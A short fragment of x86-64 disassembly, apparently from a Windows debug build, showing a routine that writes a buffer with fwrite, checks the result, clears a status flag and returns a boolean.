mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001bc4e
xor al, al
jmp 0x14001bc8d
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001bc69
mov dword [rbp + 0x154], 1
jmp 0x14001bc73
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001bc8d
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001bc8d
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002ec70]
call fcn.1400118ed
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.140011532
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret